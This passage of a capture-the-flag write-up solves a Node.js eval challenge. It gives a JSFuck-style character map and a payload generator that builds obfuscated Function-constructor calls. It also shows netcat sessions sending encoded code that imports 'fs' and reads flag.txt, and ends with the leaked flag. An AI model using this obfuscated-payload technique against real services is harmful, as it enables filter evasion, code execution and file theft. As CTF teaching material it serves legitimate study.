35 '}': "([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
36 '.': "(+(+!+![]+(+!![]+[])[+![]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+!![]+[])[+![]]+(+![]+[])[+![]])+[])[+!![]]",
37 '=': "([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]](([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]()[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
38 ">": "([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]([])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
39}
40
41function encodeStr(a) {
42 return [...a].map(a => CHAR_MAP[a]).join("+")
43}
44
45function payload(a) {
46 return `[][${encodeStr("filter")}][${encodeStr("constructor")}](${encodeStr(a)})()`
47}(this mapping isn't a modification of JSFuck and instead relies on .toString(radix) to get characters, but leads to the same idea.)
As a side note, within eval, require doesn't seem to be defined:
Code (bash):
1kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ nc chall.lac.tf 31130
2Gimme some js code to run
3[][(![]+[])[+![]]+([![]]+[][[]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+(!![]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]](([]+[])[(![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]]+(!![]+[])[+![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]]()[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+![]]+(![]+[])[+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]]+[])[+!![]]+([![]]+[][[]])[+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]])()
4oopsie woopsie stinki poopie ReferenceError: require is not defined
5 at eval (eval at <anonymous> (eval at runCode (/app/run:16:21)), <anonymous>:3:1)
6 at eval (eval at runCode (/app/run:16:21), <anonymous>:1:2350)
7 at runCode (/app/run:16:21)
8 at /app/run:31:5
9 at process.processTicksAndRejections (node:internal/process/task_queues:95:5)Instead, we can encode
Code (js):
1import("fs").then(a=>console.log(a.readFileSync("flag.txt")))as
Code:
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leak the buffer to get the flag.
Code (bash):
1kevin@ky28059:/mnt/c/users/kevin/OneDrive/Documents/GitHub$ cat payload | nc chall.lac.tf 31130
2Gimme some js code to run
3oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'toString')
4 at runCode (/app/run:17:25)
5 at /app/run:31:5
6 at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
7<Buffer 6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a>Code:
1lactf{d0_y0u_f331_pr0ud}